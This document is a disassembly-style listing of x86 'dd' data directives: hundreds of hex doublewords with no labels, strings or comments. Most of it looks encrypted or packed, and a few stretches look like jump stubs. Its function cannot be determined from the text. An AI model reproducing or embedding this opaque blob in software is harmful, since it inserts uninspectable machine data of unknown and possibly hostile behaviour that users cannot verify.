		dd 9BC8074Bh, 6B4FAB0Eh, 0B824B6C6h, 0BD0FEB69h, 0A74A2763h
		dd 903267D5h, 5CC51F9Fh, 0B1112F30h, 7438DC78h,	2E0A98E2h
		dd 41DB1BC2h, 970A7285h, 305CC517h, 7D4FABF9h, 43D5A74Ah
		dd 2B07719Bh, 0E3ED7899h, 0DB2DB678h, 1AA835FDh, 6AD85A4Ah
		dd 1F9F9032h, 2F305CC5h, 0E757EE78h, 8B1BAEA7h,	702A6A1Fh
		dd 0B8EA305Ch, 0CE4C4470h, 4A276318h, 7867D5A7h, 0E9413BDCh
		dd 5A4A0FB5h, 90326AD8h
		dd 61FB9511h, 5CC57030h, 8F02A030h, 305CC50Fh, 7557A301h
		dd 4ABF5B02h, 257ED2A7h, 0F5DB1B13h, 2763F167h,	90320181h
		dd 4ED85A4Ah, 0C4BDFDB4h, 4D57305Ch, 0C4C6C6BBh, 544E305Ch
		dd 27632E9Ch, 1F9FE220h, 2F305CC5h, 27C99511h, 82FF8955h
		dd 305CC502h, 36029012h, 9B5B0294h, 0C654E233h,	91A626B4h
		dd 158103EFh, 0D5A74AB5h, 4A903267h, 0E1BDD6A0h, 0C55A5A57h
		dd 0EFBA305Ch, 26F11E2Ch, 529E2C6Fh, 89097870h,	8B305CC5h
		dd 0B432AB19h, 82A99F19h, 7A376C27h, 305C173Ah,	0FE3AC8DAh
		dd 2FF4BCCh, 0A74ABF5Bh, 0F8A943D5h, 305CC4B8h,	0DCEE4A58h
		dd 1812763h, 0A74A9032h, 94AA43D5h, 0B7349976h,	32B012DEh
		dd 27671AB4h, 0E9305CC5h, 4B4D7FBBh, 0A12373DBh, 5B027B49h
		dd 780181BFh, 5CC58909h, 0E5E47130h, 1957B2B5h,	2F8B77C3h
		dd 0BBEB730Dh, 49DFE539h, 0C4DC789Bh, 419DDF70h, 5351AD43h
		dd 0F18C1AE7h, 830E990Bh, 0DF37976Bh, 4A37955Dh, 9B43D5A7h
		dd 0E321098Bh, 9789032h, 305CC589h, 99BD198Bh, 78D2B0E3h
		dd 5CC58909h, 0AB198B30h, 671AB432h, 305CC527h,	4D7FBBE9h
		dd 5B02FF4Bh, 0C4DC78BFh, 2BCEEA46h, 2763E351h,	0EE78B515h
		dd 5CC4F3B3h, 3A42D530h, 0EEB4D8EAh, 0F8829602h, 4A90324Ah
		dd 35B7EE5Ah, 2C48EDE9h, 65E73E9Eh, 0C7750B99h,	0F3B3EE78h
		dd 1D305CC4h, 6977AB87h, 0D02C48EDh, 9FA466D2h,	2A73A4B3h
		dd 0D85A4A83h, 9F27636Ah, 6DED767Ah, 0AD2F66EEh, 25E75351h
		dd 42D4A64Ah, 3804769Ah, 637C4EAAh, 0C94B5B03h,	0DC78A361h
		dd 0CCE8403Ah, 329C5228h, 0D85A4A90h, 1190326Ah, 686FB95h
		dd 0E305CC5h, 0C4A1E190h, 3173305Ch, 27557A3h, 0A64ABF5Bh
		dd 709A42D4h, 0CA581A30h, 27635C6Eh, 8145A57Bh,	97D086Ch
		dd 3A880B90h, 5A4A9032h, 27636AD8h, 712FC620h, 83FC4D8h
		dd 9FC1C32Fh, 305CC51Fh, 8000710Bh, 90305CC5h, 11E42612h
		dd 0BF5B02B1h, 0ED78B515h, 0E0D55FC0h, 128672EDh, 32CC82FCh
		dd 0B3EE7890h, 305CC4F3h, 0D99BB11Dh, 27CBEF4Bh, 412AC355h
		dd 0CA8BD6DFh, 7871539Fh, 0C4F3B3EEh, 40D5305Ch, 0BADAE834h
		dd 0F6EC00E8h, 5B020585h, 0DAA44ABFh, 57EE7864h, 6009AD04h
		dd 7F3F72D7h, 91305CB8h, 68DA2713h, 42D4A64Ah, 0C4B9F9A8h
		dd 495B305Ch, 276323E1h, 4EECA44Ah, 32289E2Ch, 3BDC7890h
		dd 0BE7FD41h, 58F28AAFh, 0C4D3D3CEh, 513D305Ch,	9F29BFBDh
		dd 5CC4A2E2h, 0F8307230h, 0C6ED78CAh, 0E67AD325h, 2280DC14h
		dd 5B02B111h, 3EDC78BFh, 48E2E03Ch, 5CC55959h, 1E9BB30h
		dd 4BF98395h, 809F2763h, 0C8305C96h, 6BD95B4Ah,	0B21AB432h
		dd 8200DC9Eh, 5CC48F0Fh, 89238130h, 5CC39818h, 0CE2A7830h
		dd 780181FCh, 993C57EEh, 0AE7EE4D1h, 0EA038342h, 970D305Bh
		dd 9F276321h, 878055AAh, 0C4DC785Ah, 0CE4FE46h,	45FB79A8h
		dd 38690363h, 305CC578h, 9C2E0A98h, 64DAA44Ah, 7A9F9032h
		dd 0CA856180h, 5B020585h, 1090019Bh, 0C8305CC5h, 683A5AD8h
		dd 0A44A0280h, 276364DAh, 64DAA44Ah, 5B4A9032h,	22566DEh
		dd 32B08CEEh, 0A8FB7D9Bh, 46A56590h, 0B046D4D7h, 11903202h
		dd 5024C995h, 5B022A98h, 0DAA44ABFh, 9738440h, 2763E321h
		dd 0A3DEA44Ah, 305CC4E3h, 73E1772Dh, 0ED789032h, 0A257BE42h
		dd 0C5846CB3h, 85613820h, 78B111ACh, 757FA0EDh,	7684ECE0h
		dd 14AA3804h, 0C909B0DCh, 40DAA44Ah, 230F8D84h,	5B0363E1h
		dd 0CECEC3B1h, 46305CC4h, 6B76CE5Ch, 47AAF3E3h,	0F53DD30Ch
		dd 0D95B4AD7h, 0C4DC786Bh, 60E4FE46h, 7F42AECCh, 0B3EE78CBh
		dd 305CC4F3h, 0FAB871Dh, 322197E9h, 0D95B4A90h,	661BB54Fh
		dd 305CC526h, 0C5C5B4EEh, 4F305CC4h, 322F9D55h,	42DB4B90h
		dd 84A7A992h, 60A28E8Ah, 4ABF5B02h, 6364DAA4h, 3CED7827h
		dd 805BF974h, 75B7BC49h, 3263E0A0h, 18E407C6h, 4A6C305Ch
		dd 864ED85Ah, 0E2200872h, 0F928B432h, 0BD19AB7Bh, 0B90BE765h
		dd 0EE780181h, 54A8D266h, 15978E4Eh, 8E7FBBC9h,	305CC50Eh
		dd 6F2F62FCh, 0A1305CC5h, 594B3703h, 4A2763EBh,	0B441DBA5h
		dd 2E7EB5A9h, 880A1A7Dh, 328C3EFAh, 4F229F90h, 4AD2700Fh
		dd 6365DBA5h, 0DBA54A27h, 0B718541h, 4341A93Bh,	3C9F9032h
		dd 4CFAA3Bh, 5B02B111h,	0DBA54ABFh, 4A276365h, 3265DBA5h
		dd 0D85A4A90h, 7B27636Ah, 0CAC57AD0h, 4F375899h, 4238DC78h
		dd 4A08BAF6h, 7865DBA5h, 0FC403ADCh, 27870AE6h,	19E567BFh
		dd 201DAF8Bh, 1B4A2FC6h, 9A334DE2h, 7DB5EF6Dh, 0C51F9F4Fh
		dd 112F305Ch, 0BF5B02B1h, 8A7BB515h, 471F931Ch,	782896F9h
		dd 5CC58909h, 42D57130h, 9012FE3Ah, 3BDC7822h, 2BB5E941h
		dd 12F272A3h, 4A6A5890h, 326AD85Ah, 750728B4h, 0EDDF1BA9h
		dd 0ED6A04Ah, 3DD65342h, 6FAF4A1Bh, 0FDD925BBh,	0C3C11D5Fh
		dd 0F101A8D4h, 40DA740Eh, 5BFC5151h, 0B0E1C330h, 305BFBF0h
		dd 14B68220h, 29B5B02h,	0B003410Eh, 5476C2FFh, 96B92581h
		dd 0F1841EE6h, 3B4BEE46h, 0DFED45D4h, 0D166EE78h, 8D60B8A8h
		dd 40D6E6C4h, 109919E8h, 297B305Ch, 0C8C059Fh, 4305C11h
		dd 7870529Eh, 5CC58909h, 0AB198B30h, 413BDC78h,	860BE7FDh
		dd 3201813Ch, 32018190h, 0D85A4A90h, 872864Eh, 46CC537Dh
		dd 0DB17D903h, 0E6ED78E9h, 0E688261h, 9A16887Fh, 20F7535Eh
		dd 0B7FB1EC6h, 790BDBA5h, 9FBD0FEBh, 305CC51Fh,	2B1112Fh
		dd 0EE78BF5Bh, 5CC4F3B3h, 0AB871D30h, 0E2207250h, 5CC51F9Fh
		dd 0B1112F30h, 4339DC78h, 30E28BF7h, 413BDC78h,	0F00BE7FDh
		dd 78018192h, 0E34339DCh, 0EFD509E1h, 9D5A74Ah,	32AA187Bh
		dd 0D85A4A90h, 2027636Ah, 0B3EE78E2h, 305CC4F3h, 33C7871Dh
		dd 3EFF549h, 5CC54242h,	0A54A0C30h, 0C4E2A2DFh,	7032305Ch
		dd 0A4B602E2h, 0A54F0ADAh, 2999F604h, 0F3B3EE78h, 1D305CC4h
		dd 0A647AB87h, 7911574h, 5CC50A8Ah, 50980A30h, 0D5A74A72h
		dd 81903267h, 89097801h, 8B305CC5h, 2763AB19h, 0A74AE220h
		dd 779B43D5h, 4FAB3905h, 4A27637Dh, 3267D5A7h, 0C51F9F90h
		dd 112F305Ch, 5123C995h, 0C4CACAC7h, 584A305Ch,	0EE783290h
		dd 5CC4F3B3h, 0AB871D30h, 7874A647h, 0A72192EDh, 0E79A7194h
		dd 305BFCA7h, 4DA53B69h, 2B0C469h, 413BDC78h, 4A5EE4E9h
		dd 3267D5A7h, 0C51F9F90h, 4A2F305Ch, 4C08D4A6h,	0BBB9D6ABh
		dd 0B019A2CEh, 1739C222h, 2B9B8476h, 78BF5B02h,	0FF47C5DCh
		dd 84A90DE5h, 276342F0h, 67D5A74Ah, 1819032h, 0C5890978h
		dd 0E471305Ch, 0CCC5DDD1h, 305BC8CCh, 0E2CF5E44h, 45D96C2Ch
		dd 0CD034844h, 693B2713h, 789032FBh, 97B182EDh,	97BAE882h
		dd 0F58B19E5h, 205A6F60h, 5F9B909Bh, 30A6D67Bh,	1A6A0363h
		dd 82FC1EECh, 2FDC1DEBh, 181C1C3h, 5D54EE78h, 305CC55Dh
		dd 4405EDB7h, 305CC544h, 6360D6CCh, 20B51527h, 0C51F9FE2h
		dd 112F305Ch, 5024C995h, 883AF68Ch, 78BF5B02h, 0AA4339DCh
		dd 5A998694h, 0EB60C867h, 320181BBh, 0D5A74A90h, 66EE7867h
		dd 485AAAD4h, 5CC55959h, 0B4EDBB30h, 305CC4F4h,	54F0861Ch
		dd 586ABAC0h, 4AB50D90h, 3266D4A6h, 2CC62090h, 5CC53575h
		dd 0A2F3DF30h, 66A48C22h, 42D4A64Ah, 0E83AABh, 5BD31191h
		dd 14A10330h, 0CCC40BE0h, 5EECF64Eh, 3633092h, 0C44DC69h
		dd 4C7F4651h, 5BCE5D5Dh, 0F4514E30h, 0C7E1D3E6h, 4E43D5CFh
		dd 305C4D4Eh, 0B614DCC6h
		dd 60D6A04Ah, 959F9032h, 0A574D555h, 44D6A04Ah,	0C4B7F7AAh
		dd 7F91305Ch, 0F3A321FDh, 310D8F87h, 0F7D51DB3h, 0A04A2763h
		dd 903260D6h, 4FB4E09Fh, 0B1116856h, 4ABF5B02h,	7860D6A0h
		dd 0F74339DCh, 4FE17CEAh, 0DA8C42B5h, 0FDBDF486h, 17305CC4h
		dd 4A67A58Dh, 3260D6A0h, 7E439F90h, 8533706Bh, 0BF5B0205h
		dd 4FE0A04Ah, 0BD3D12Dh, 550B991Bh, 0A04A2763h,	0EE7860D6h
		dd 5CC4F3B3h, 0C7871D30h, 4EE24ECEh, 92613F14h,	1203CB5Bh
		dd 0A530B292h, 0DFBB966Eh, 23E14958h, 4ABF5B02h, 0A944D6A0h
		dd 4DAACD67h, 0E0A0D13Ah, 30305C14h, 0B614DC72h, 0A04A2763h
		dd 903260D6h, 0B28FE9Fh, 0A04A4E25h, 0AC420ED6h, 57B972D2h
		dd 7F4F44B6h, 19B5B02h,	5CC51090h, 56A20030h, 0B3EE7874h
		dd 305CC4F3h, 0D2B1C5E4h, 5F37C463h, 13A12373h,	1F59F327h
		dd 492BC18Dh, 276323E1h, 66D4A64Ah, 70FBED78h, 6808EABEh
		dd 0EF37B5ECh, 0C7C11DD5h, 0A87FD1Fh, 305BE38Ah, 0BA8A188Ah
		dd 4AC2C028h, 3260D6A0h, 2B11190h, 0EE78BF5Bh, 5CC4F3B3h
		dd 0AB871D30h, 791EB0Fh, 7DC1BB5Fh, 75CDA060h, 982E9B1Ch
		dd 9D611B3Ch, 63992B07h, 0C0B15B03h, 4478B7F7h,	64B84EC5h
		dd 8130925Eh, 28B43201h, 2CA87406h, 12906C0Eh, 4A16B47Ch
		dd 6360D6A0h, 0FD1B6A03h, 0CF234728h, 0E220A163h, 5CC51F9Fh
		dd 0B1112F30h, 15BF5B02h, 0D4A64AB5h, 9F903266h, 305CC51Fh
		dd 2B1112Fh, 0DC78BF5Bh, 0CEEA46C4h, 63E2502Ah,	24E96A03h
		dd 4D8BCDBEh, 18127E5h,	0A64A9032h, 903266D4h, 0EE780181h
		dd 1FAED066h, 94A68E7Fh, 0DBAA8610h, 305BFBD7h,	63F56B39h
		dd 0D0A64A27h, 469E1C74h, 0C54D4D3Ch, 0DDC7305Ch, 0EE78994Fh
		dd 5CC4F3B3h, 3FBDD530h, 0F3B1DDE7h, 1508BA07h,	6EDC3591h
		dd 0C222B0CAh, 815A68C0h, 21E08825h, 0B333E1F5h, 0ED784547h
		dd 514EE54Bh, 0D509E1FAh, 780181EFh, 0E298D7EDh, 6DC5B0CDh
		dd 5B4A9331h, 0FCB54FD9h, 305CC4BCh, 8E06849Ch,	63EEDC14h
		dd 0D6A04A27h, 20903260h, 0D6A04AE2h, 4A276360h, 7860D6A0h
		dd 60A956EDh, 5C947131h, 7401A330h, 67B18AFh, 305BE286h
		dd 0AA86148Eh, 1F9F4C76h, 0B305CC5h, 0D5CFC072h, 13DFBF4Dh
		dd 0DCA54AB1h, 73FD5918h, 73D361D6h, 5AFFB347h,	0D5B08C22h
		dd 27D81AC3h, 21A3F35Bh, 0D141C494h, 5D95B3FFh,	0BF5B026Fh
		dd 60D6A04Ah, 0F3B3EE78h, 1D305CC4h, 0B826AB87h, 0EA7CFE1Ch
		dd 5CC4F7B7h, 0AF8B1930h, 0D1A04A1Dh, 3E2E716Bh, 0DC6EFC96h
		dd 549CDE70h, 9F903276h, 305CC51Fh, 2B1112Fh, 0A04ABF5Bh
		dd 0C4DFDFD2h, 7331305Ch, 27636FDDh, 90320181h,	60D6A04Ah
		dd 8BB8ED78h, 3AD3A94Ch, 0B6821E90h, 3BD26C7Ah,	0EB27C336h
		dd 34742579h, 0DC305C41h, 0C11D5FF0h, 0C7C52DC3h, 0EE780181h
		dd 49F54457h, 0CFC60862h, 0FD1FBF4Dh, 0D2D6B783h, 42305BF2h
		dd 363F260h, 78C4B45Bh,	4A3C8E6Ah, 6360D6A0h, 32018127h
		dd 4AB51590h, 0AB42D4A6h, 0CA1AA213h, 32905824h, 0F928B432h
		dd 200DBF7Bh, 35752CC6h, 25305CC5h, 5CC52C6Ch, 0D6BEE430h
		dd 4AA664CCh, 6366D4A6h, 0D4A64A27h, 1AB43266h,	5CC52767h
		dd 7FBBE930h, 3BDC784Dh, 0BE7FD41h, 5CC53A7Ah, 68952030h
		dd 83037EB3h, 8D305C9Eh, 0D5DE8617h, 11A664CCh,	0BF5B02B1h
		dd 0A1D0A64Ah, 305CC4E1h, 6DE37133h, 0ED782763h, 0B0B3DDE6h
		dd 6256A27Ch, 801AACCEh, 5C6F9111h, 0C9218330h,	9F9032FBh
		dd 305CC51Fh, 3729720Bh, 572FC32Eh, 0B111299Bh,	4ABF5B02h
		dd 9A42D4A6h, 0AA380476h, 27637C4Eh, 0C5890978h, 198B305Ch
		dd 90320876h, 66D4A64Ah, 1819032h, 0C5850978h, 158F305Ch
		dd 782763A7h, 0F43C3EDCh, 984E2CC0h, 46C4DC78h,	81A3E7EAh
		dd 78903201h, 4AED4FEDh, 1A2AB425h, 0D902F4Ah, 0A7480CA2h
		dd 0BF7B09D5h, 87036644h, 4D85A4Ah, 189A8A22h, 0C4D1EE95h
		dd 0C40305Ch, 0B93018D3h, 2FD45495h, 3ACh, 0F654F600h
		dd 0FD7A14Ah, 77CFA943h, 78C4B45Bh, 7FC7455Ch, 66BEBE53h
		dd 69B5C76Ah, 6FB7356Dh, 53B3CD63h, 55A9D367h, 0D338685Eh
		dd 17E907F0h, 0FDFFF874h, 27B4CE93h, 0FD0FB7F9h, 0E87DEEA9h
		dd 5, 0F9B438B5h, 850F52F6h, 2,	5A5FC1B3h, 10E9h, 0AC3C6B00h
		dd 0DE7328C0h, 0A57FA2FDh, 92E231A7h, 2C28144h,	0F00006Ah
		dd 28Ch, 0B8DF8B00h, 280E2C34h,	0EE1CC081h, 0E953D7F1h
		dd 0Bh,	437DA318h, 4EB6D26Fh, 5E884912h, 0D98B32FFh, 0D9C68159h
		dd 8140B36Eh, 2696C9C1h, 0D3816623h, 0E981033Bh, 253BD49h
		dd 82CE8166h, 0D5E981F5h, 0F85984A1h, 14E95251h, 0A9000000h
		dd 0BF914758h, 0EA87BCB3h, 0D2088555h, 8F614849h, 5E26A734h
		dd 83FC028Fh, 0AE902EAh, 4B000000h, 0E05A83BAh,	5C6137C2h
		dd 0E94A4A36h, 0Bh, 0A978AFE1h,	1D93FA93h, 48BFD2AEh, 0FF8E850Fh
		dd 0BF66FFFFh, 8E8CD9Bh, 1F000000h, 88B51093h, 0BF4B2E35h
		dd 2D6F76FEh, 81E18A5Ah, 0D9B9C2h, 36476800h, 20B80000h
		dd 5B7FB25Dh, 8E8h, 0DF2CE200h,	4BBE4AA8h, 0F6B70F35h
		dd 0E832FF58h, 5, 25CB0F75h, 0F78B6689h, 5E95958h, 0BE000000h
		dd 8A23C21h, 3963F181h,	81F94814h, 0E08B09C1h, 0F781660Eh
		dd 0E981DAF6h, 7D28B206h, 51F7BF0Fh, 0CE9h, 0EB4C700h
		dd 67A25589h, 39F7A4ECh, 52028F9Dh, 0C7816652h,	5E58CBDCh
		dd 6604EA83h, 4B21E3BFh, 0FF9F850Fh, 870FFFFFh,	8, 28E0Fh
		dd 0E38A0000h, 26E9h, 353CC900h, 47h, 7	dup(0)
		dd 0E9000000h, 0DD8h, 0F10BD568h, 7260E907h, 0C068FFF8h
		dd 0E907F10Ch, 0FFF87256h, 0F10D7E68h, 724CE907h, 1E68FFF8h
		dd 0E907F10Eh, 0FFF87242h, 0F1116E68h, 7238E907h, 9D68FFF8h
		dd 0E907F114h, 0FFF8722Eh, 0F1158468h, 7224E907h, 41EAFFF8h
		dd 0FE12BE37h, 0B147F17Ch, 9A8A26CFh, 163B9518h, 0D851CF66h
		dd 8E2755F8h, 0FC71F322h, 30BDBF50h, 69047684h,	0A7E79A04h
		dd 69286BBBh, 0A74A6D53h, 0F8A943D5h, 305CC4B8h, 0B2EE4A58h
		dd 0FD8FF106h, 71B9BB51h, 145BF26Ch, 0CC7901F1h, 77E2BF7Bh
		dd 26EDADE4h, 7D27305Ch, 75245DEFh, 4737B502h, 690B21ADh
		dd 1A9A0F95h, 0FA287302h, 29791DA8h, 1874FE9Ch,	3F722CD0h
		dd 2872FF7Fh, 0FF76366Bh, 49E2872h, 0B8841A88h,	72FEEDC9h
		dd 49159328h, 7B09D5A7h, 69AA53BFh, 8C1AA297h, 37D7h, 0A0B3F300h
		dd 13663A30h, 1AC2FF50h, 61FB890Bh, 0B4D36130h,	0F3535137h
		dd 72D3B612h, 7A6AA28h,	1AD0EADAh, 0FCB54F8Ch, 2872DFBCh
		dd 698E4E54h, 786DB17h,	0DC000000h, 92951h, 0ED78F100h
		dd 0D2E789D2h, 0A014DC78h, 0B814E88Ah, 0DA43E792h, 6F7DDB4Ah
		dd 1FB64FD9h, 4FD234BFh, 7F5165Bh, 22B0D2BEh, 0C15BCBD6h
		dd 5CBDD0D0h, 96624030h, 3DCF58DBh, 35FD7F91h, 0A49FFEB3h
		dd 0ADF737B5h, 0A514B051h, 44C82873h, 0FC8C74A5h, 25A18C19h
		dd 72326F11h, 0A22873ADh, 6B867200h, 35h, 30A0B37Fh, 5BCAD945h
		dd 0CF59EF1Ah, 0B4EB13D2h, 1178337h, 8F1DA77Fh,	141360FDh
		dd 0F7A92724h, 0A23EE73Bh, 46287354h, 0FEC613BAh, 788C1A50h
		dd 107h, 0E0A04A4Ah, 409C32B0h,	88ADE174h, 0CA865EECh
		dd 0F08E5620h, 6ABAC054h, 0C565255Ch, 0F5AF305Ch, 0D2F8B67h
		dd 0C57A3A77h, 6763305Ch, 338A365Eh, 18AEF498h,	0B872EE95h
		dd 608A305Ch, 0B7EA8416h, 305CB8F7h, 22AF8B19h,	0B2C64F6h
		dd 4E03E371h, 3AA234A3h, 0B5ED69EBh, 53EDFB37h,	4D22D8BAh
		dd 0F23EFA3Ch, 0B562C013h, 9A2C7637h, 8D778803h, 22AB24AEh
		dd 0E859EC59h, 0C6E8C62h, 0D41CB230h, 0C9B96C9h, 0D264E07Ah
		dd 22027C9Eh, 0B03212A0h, 34BB8978h, 0A32B2FC7h, 5539F173h
		dd 0FC11BD4Fh, 0E357EE78h, 4749B1Fh, 9913AA38h,	32BF7B5Eh
		dd 60097386h, 3C4A28ACh, 0B2CBFC70h, 9F00000Ah,	0C771FC7Ch
		dd 8A44933h, 0BF1994E6h, 0EC48E567h, 2A823349h,	0EC88AD0Dh
		dd 3EBED741h, 8AF205B7h, 0D1A349EBh, 326F3B5Ch,	286BBA72h
		dd 4A3A68A2h, 0FC58D5A7h, 15911C5Eh, 8D45849h, 0F1B1E07Ah
		dd 23305CC4h, 0B31BA981h, 0ECA537A0h, 37B5AAEDh, 9927FFA5h
		dd 815D1F3Dh, 0CBB55B03h, 0AA429E6Fh, 1A262873h, 0FB5EA673h
		dd 0CA988C19h, 0E000000h, 71CD4F46h, 4A058773h,	420ED6A0h
		dd 7771CDAFh, 21BB74DEh, 0CE4502Eh, 5C16017Dh, 688D4930h
		dd 78236D0Bh, 2DC36DD3h, 393BD1C5h, 8FA22AB4h, 0A79311EDh
		dd 479FD973h, 66F067F2h, 0B56C982Bh, 69049E37h,	0BC4051FDh
		dd 1FBEB974h, 5BED83FDh, 0C7974F26h, 0AC39672Fh, 0EF153000h
		dd 0C8CFD4Fh, 42087A7h,	0D67E089Eh, 18B43943h, 0CCEA87F5h
		dd 0F43C4A07h, 9C74778h, 618A0000h, 1E329E17h, 0D167D15Ch
		dd 7AAA06AFh, 36DB75F8h, 0F831AF46h, 6E077598h,	0DC51D3C2h
		dd 109DDF70h, 49E496A4h, 87077A24h, 89286BB9h, 0A74A0D73h
		dd 6CE58D5h, 2EB488F2h,	29F577AEh, 0D17B5F9Bh, 67B15A7h
		dd 305CC586h, 0D1DC148Eh, 0D6A04A71h, 0CEA8420Eh, 8B118027h
		dd 346DFF68h, 37B59FC1h, 0DA6BB3F1h, 0D1B06D9Dh, 8A23520h
		dd 64CCAE4Ch, 62840F82h, 10928607h, 73C7DE86h, 4042A222h
		dd 0F45052B2h, 9ED21E9Ch, 2DBF28CBh, 5ADACB93h,	989F88Ah
		dd 0C376C562h, 5C464E2Eh, 0E69F1294h, 0C87E19C1h, 768440DAh
		dd 2DCF6904h, 1AA82C65h, 1B1AA99Fh, 269955F2h, 909h, 0D8552734h
		dd 13A2D87Ch, 40ED8FA1h, 0B73EBCD4h, 0E984F005h, 37DAB673h
		dd 150CA845h, 9DB21E97h, 54E652E3h, 0B8E28B2Ah,	6BB7C9C9h
		dd 53314B28h, 0AD2A04Ah, 394B9BE5h, 5CC54848h, 44DAC830h
		dd 9D0A25F8h, 9A73960Bh, 7DD937B5h, 0A8549CD8h,	53E460FAh
		dd 7288429h, 851FA975h,	739A8C0Ch, 0D21E8428h, 739A7333h
		dd 8A248028h, 5FF62873h, 0B14499A0h, 0DC697BCBh, 2109CE09h
		dd 0E476E10Ch, 0CC1EE6ADh, 0AE762C2Fh, 0BB668510h, 0CE18CC73h
		dd 0DAA4B662h, 4DDB535Fh, 0FCD3633Ch, 869h, 38B5C754h
		dd 7302789Ch, 0A04D2FC1h, 179E1C74h, 49E490A5h,	0D77A56D3h
		dd 75AC08A5h, 3DD27EF7h, 0F406B243h, 1882EB8Ah,	6BB72969h
		dd 0F3D1EB28h, 0A537A0B3h, 0B5B2A5ECh, 0EF376D37h, 0F51B4FE3h
		dd 9B29BB8Bh, 0E09ABE1Ah, 35AA491Ch, 0B316EEA3h, 0CA642873h
		dd 73B1D7D7h, 445D3928h, 1AC632C0h, 8896858Fh, 0CE60C14Ch
		dd 0BC5250ACh, 1C309C2Eh, 2C67275Ah, 0FBA92873h, 2F0B9965h
		dd 4DCFC7F3h, 48CCC5F1h, 4436D8F4h, 1739EAF8h, 0F9B8476h
		dd 5AFEB047h, 30B29220h, 33F594F8h, 5EC15A1Fh, 0DA9248D6h
		dd 0FEDAA944h, 728737Ch, 0B4ED7F10h, 28737D50h,	6B2B6640h
		dd 0A528737Dh, 68C469FFh, 0B76EB6C4h, 28737C23h, 15DF7E9Eh
		dd 5EFA7B01h, 857CC0BAh, 28737C39h, 0D125C4C8h,	7C4A4A47h
		dd 0D8CA2873h, 7C53534Eh, 0E7BD2873h, 0F18BAF0Bh, 950A297Ch
		dd 7C338E03h, 6CF92873h, 5F604E57h, 0F79B574Dh,	9FB31BADh
		dd 0B78301DDh, 0BAA78A7Bh, 97BB7C50h, 0E4DB25F6h, 0F450007Bh
		dd 0BCCA1A60h, 11C3C5C5h, 0C7554FB4h, 1B1366Bh,	2CA80000h
		dd 9BB77F5h, 0A537A0B3h, 0C8A9430Bh, 0CB07AF7Eh, 0FB37C52Bh
		dd 0B5B2670Ah, 463BD537h, 2873B346h, 4F42D4CEh,	2873B34Fh
		dd 6B17E3C1h, 1027AF39h, 220E9468h, 0B6F218C4h,	8200DC5Eh
		dd 0FB4B35DAh, 7EDA5BE9h, 0F48694DCh, 91009A28h, 2873B311h
		dd 7913A103h, 88A18FECh, 32FEC4F4h, 32507FEh, 0E22AF2Eh
		dd 0E597A56Fh, 4D44DE48h, 0A12D044Dh, 444443Dh,	0D6CCA12Dh
		dd 0F1B1E0BEh, 23A12D03h, 9307F381h, 5227FF79h,	77A14CC3h
		dd 75419D1Fh, 0BC1895E7h, 8600DC9Eh, 0FF4739DEh, 0A7C0DE5h
		dd 6FF3A34Eh, 4AE024C5h, 0BD198528h, 3943D599h,	0E149DFE5h
		dd 89552735h, 10AA3D34h, 0A24E2161h, 0A94D092Eh, 297B67D3h
		dd 1B831A84h, 0ADD412A9h, 33C6F23Eh, 7B91D97Fh,	99F25F9h
		dd 43D1AB4Dh, 0D1C81CA9h, 0C8ED4E4Dh, 0A287D9D9h, 0DB693B2Eh
		dd 0E70EC31Fh, 3AC8B246h, 2D7F16A0h, 24AD30DDh,	0F8BC4DA5h
		dd 182EA1C6h, 0A349EB8Ah, 0AC410DD1h, 0FD0374C8h, 0F082A85Ch
		dd 3B39D37Dh, 0C6B0F0A1h, 42602EA1h, 0A1C74F4Fh, 4DE3C12Eh
		dd 0A2353CF1h, 0C7119908h, 5DF92EA1h, 16668BBFh, 0DE26B4CEh
		dd 22806CC4h, 690B2193h, 66163995h, 6818329Eh, 0C222B0C2h
		dd 0C61E60F6h, 0DA0EAFD1h, 0E9FB4B35h, 69103C5Bh, 52E39DBFh
		dd 0DA2A54E6h, 3F7F32CCh, 0D12EA1C7h, 0AB4A67D3h, 0A3EFA234h
		dd 6D2EA1C6h, 1339A537h, 2B079D61h, 0ADE50AA6h,	9311ED8Fh
		dd 0B3E36BFDh, 0D0A5F931h, 0D7D7CA41h, 392EA1C6h, 31B3E36Bh
		dd 289809A3h, 82EA1C7h,	4AAF1B9Ah, 45FD6A0h, 0B5EC7EE9h
		dd 37B59E72h, 0EC6802A0h, 3C7C354Bh, 0D428739Fh, 26AE38CEh
		dd 0A7DA6CEEh, 28739EE7h, 32BF7B29h, 370F7186h,	0C256F762h
		dd 0C85E64B8h, 74A0433Eh, 710C2FCCh, 2387B55h, 38240CE5h
		dd 0CFEB9A6Ah, 502089BDh, 2EB852C5h, 69ED6FA6h
		dd 566CB0C4h, 0ABA4EB9Ah, 307227E2h, 284AE0ECh,	2300B781h
		dd 0B78F24h, 519h, 0C8651724h, 3B2C86Ch, 70FD7F91h, 0A74ECCC4h
		dd 1994E075h, 27CAA683h, 257CD855h, 8DA20EA7h, 44D642F3h
		dd 0C8D2BB3Ah, 6BB3D9D9h, 0A3013B28h, 0A537A0B3h, 0CEAE430Bh
		dd 0C5846C76h, 37B5A862h, 7312F2B0h, 2873A958h,	0BA67060Ah
		dd 8C19F84Ah, 0AFD167EFh, 0D42E43h, 9FB40000h, 305CC573h
		dd 0C4EAAAE7h, 782A305Ch, 3AD0B4EAh, 8E67873Fh,	0CD63FF5Fh
		dd 73F80D20h, 3E0A8D9h,	7230305Ch, 6A142692h, 9AC25BCBh
		dd 0B0AD9FB1h, 51E6BB77h, 1CB640DAh, 0B88DB581h, 3160C9FEh
		dd 305C2271h, 582901A3h, 305C2250h, 0B602E2C0h,	8440DAA4h
		dd 5E183276h, 966EFC86h, 86D9240Ch, 0D660FA71h,	31862C3Fh
		dd 0EEF58360h, 0CD29BCBEh, 0EA9B57B8h, 305CA1AEh, 9BBC1886h
		dd 12871DE1h, 305CA092h, 0F8922082h, 0A073336Eh, 79D305Ch
		dd 27A3576h, 0AD85908Dh, 3C349071h, 0DD34305Ch,	0DBCB875Fh
		dd 72928559h, 0D0F42FCBh, 0EB01CD29h, 0C32FB589h, 0F892192Eh
		dd 5C3C0D89h, 0B17A2730h, 11A4A655h, 0F84DE076h, 112h
		dd 0EC6EA62Eh, 0A0B38604h, 0A5ECA537h, 6D37B5B2h, 0B2E3EF37h
		dd 1B3C9832h, 0B36C2C65h, 0FEA42873h, 220E9468h, 0FF6E84DFh
		dd 0DEDED36Dh, 362873B2h, 6F22846Ch, 2873B32Bh,	0BD8C861Fh
		dd 6FFDA599h, 5C1DF83h,	951584F0h, 0B728736Dh, 0EAB7DFA1h
		dd 0C89B7796h, 0C45A2Ch, 32B08CEEh, 4A1409Ch, 0E6287317h
